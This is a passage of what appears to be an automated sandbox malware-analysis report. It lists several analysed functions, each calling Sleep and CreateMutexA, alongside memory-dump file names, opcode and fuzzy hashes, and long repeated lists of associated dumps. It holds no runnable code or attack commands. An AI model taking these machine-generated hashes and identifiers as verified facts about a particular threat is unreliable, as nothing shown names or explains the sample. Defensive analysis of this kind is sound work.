Instruction Fuzzy Hash: 6A314A31700305DBFB19EB7CD8887BDBB62EB85320F244659E5989B3D5C77689808751

Function 0100A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f939a6c3cf2d752c24bc8ac058a403177dbea7222b33a3ecb7a0c809cbc8529d
Instruction ID: 1e374531168a7a314a292acc3280fa988da06e92ae62498513fec086993e7c96
Opcode Fuzzy Hash: f939a6c3cf2d752c24bc8ac058a403177dbea7222b33a3ecb7a0c809cbc8529d
Instruction Fuzzy Hash: 77316A31700304DBFB19DB7CCC88BADBB62EB85320F244258E1949B3D5C77A9580C751

Function 0100A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2f0e88cb81f3dc5b9645fc711da7ac7e647c3098f381da488189f16b52e77b7f
Instruction ID: de276cf6f0b3c82d174bc8174470ea74eb62913c6d1df41df5420fc12c7d8887
Opcode Fuzzy Hash: 2f0e88cb81f3dc5b9645fc711da7ac7e647c3098f381da488189f16b52e77b7f
Instruction Fuzzy Hash: A3314A31700305DBFB19DBBCDC8DBADBB62EB9A320F244658D1949B3D5C77A89808751

Function 0100A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c8bb647750f2c0f282e5978644379e0f96bbb563ba431f75abba1b68e525db90
Instruction ID: 2bd573b8860ded32e718deee46b08cb47d19684a075e15856f64a90f4e81deda
Opcode Fuzzy Hash: c8bb647750f2c0f282e5978644379e0f96bbb563ba431f75abba1b68e525db90
Instruction Fuzzy Hash: 29313931B00305DBFB19ABBCD88CBADBB61EFD5320F244258D1949B2D5CB7686808761

Function 0100A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4c55fb487e562a675c3981d91157aece2b3f6794c1eec49bcfaa99d8e9be5d44
Instruction ID: 3c1edfa53cd14560cb303f638c43a34ca59810956ebe048498ce11eac98ffead
Opcode Fuzzy Hash: 4c55fb487e562a675c3981d91157aece2b3f6794c1eec49bcfaa99d8e9be5d44
Instruction Fuzzy Hash: 7B314831B00305DBF719EBBCDC88BADBB62EBC9324F248658D4949B2D5C77A89808751

Function 0100A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
